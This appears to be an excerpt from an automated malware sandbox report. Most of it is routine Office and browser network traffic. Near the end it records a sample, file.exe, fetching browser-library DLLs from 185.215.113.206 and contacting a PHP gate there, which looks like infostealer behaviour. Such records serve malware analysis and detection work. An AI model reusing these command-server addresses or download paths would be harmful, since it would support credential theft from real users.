Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ARuTudAlnsXgzZX&MD=6sYb+Cwm HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache

Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log7.8.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log7.8.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log7.8.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 913sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: file.exe, 00000000.00000002.2636691992.00000000004B6000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2636691992.00000000003FC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2638083639.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2638083639.0000000000F27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2636691992.00000000004E4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: file.exe, 00000000.00000002.2638083639.0000000000F54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php&
Source: file.exe, 00000000.00000002.2638083639.0000000000F12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php(u
Source: file.exe, 00000000.00000002.2638083639.0000000000F42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php)
Source: file.exe, 00000000.00000002.2638083639.0000000000F42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpBrowser
Source: file.exe, 00000000.00000002.2638083639.0000000000F42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpE
Source: file.exe, 00000000.00000002.2638083639.0000000000F42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpQ
Source: file.exe, 00000000.00000002.2638083639.0000000000F54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpS
Source: file.exe, 00000000.00000002.2638083639.0000000000F54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpT
Source: file.exe, 00000000.00000002.2638083639.0000000000F42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpY
Source: file.exe, 00000000.00000002.2659436347.00000000235D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpenSSH
Source: file.exe, 00000000.00000002.2638083639.0000000000F42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpftware
Source: file.exe, 00000000.00000002.2638083639.0000000000F42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpi
Source: file.exe, 00000000.00000002.2636691992.00000000003FC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpion:
Source: file.exe, 00000000.00000002.2638083639.0000000000F42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpl
Source: file.exe, 00000000.00000002.2638083639.0000000000F42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpm
Source: file.exe, 00000000.00000002.2638083639.0000000000F54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpn
Source: file.exe, 00000000.00000002.2638083639.0000000000F12000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2638083639.0000000000F42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpu
Source: file.exe, 00000000.00000002.2638083639.0000000000F42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpy
Source: file.exe, 00000000.00000002.2638083639.0000000000F27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dll
Source: file.exe, 00000000.00000002.2638083639.0000000000F27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dll
Source: file.exe, 00000000.00000002.2638083639.0000000000F27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dll4=
Source: file.exe, 00000000.00000002.2638083639.0000000000F27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dll
